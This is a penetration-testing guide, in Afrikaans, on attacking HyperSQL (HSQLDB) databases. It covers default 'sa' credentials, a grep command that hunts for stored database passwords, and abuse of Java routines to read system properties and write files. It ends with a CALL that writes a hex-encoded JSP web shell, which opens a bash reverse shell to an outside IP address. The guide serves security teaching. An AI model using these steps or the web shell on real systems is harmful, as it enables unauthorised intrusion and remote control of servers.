hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2024-02-11 02:07:06 +00:00

94 lines
5.4 KiB
Markdown

<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
# Basiese Inligting
**HSQLDB \([HyperSQL-databasis](http://hsqldb.org/)\)** is die voorste SQL-relasiedatabasisstelsel wat in Java geskryf is. Dit bied 'n klein, vinnige, veelvuldig-draadse en transaksionele databasisenjin met in-memory en disk-gebaseerde tabelle en ondersteun ingebedde en bedienermodusse.
**Verstekpoort:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Inligting
### Standaardinstellings
Let daarop dat hierdie diens waarskynlik standaard in die geheue loop of aan die localhost gebind is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en is jy op soek na verhoogde regte.
Standaard geloofsbriewe is gewoonlik `sa` met 'n leë wagwoord.
As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe deur gebruik te maak van
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Let op die databasisnaam sorgvuldig - jy sal dit nodig hê om te verbind.
# Inligting Versameling
Verbind met die DB-instansie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit deur `java -jar hsqldb.jar` te gebruik en verbind met die instansie deur die ontdekte/swak geloofsbriewe te gebruik.
Let daarop dat die verbindings-URL iets soos hierdie sal lyk vir 'n afgeleë stelsel: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Truuks
## Java Taal Routines
Ons kan statiese metodes van 'n Java-klas vanuit HSQLDB oproep deur Java Taal Routines te gebruik. Let daarop dat die geroepte klas in die toepassing se klasselys moet wees.
JRT's kan `funksies` of `prosedures` wees. Funksies kan geroep word deur SQL-stellings as die Java-metode een of meer SQL-verenigbare primitiewe veranderlikes teruggee. Hulle word geroep met die `VALUES`-stelling.
As die Java-metode wat ons wil oproep void teruggee, moet ons 'n prosedure gebruik wat geroep word met die `CALL`-stelling.
## Lees van Java Sisteem Eienskappe
Skep funksie:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Voer funksie uit:
```text
VALUES(getsystemproperty('user.name'))
```
Jy kan 'n [lys van stelsel eienskappe hier vind](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Skryf Inhoud na Lêer
Jy kan die `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget wat in die JDK geleë is (outomaties gelaai in die klasselys van die toepassing) gebruik om heks-geënkodeerde items na skyf te skryf deur middel van 'n aangepaste prosedure. **Let op die maksimum grootte van 1024 byte**.
Skep prosedure:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Voer prosedure uit:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>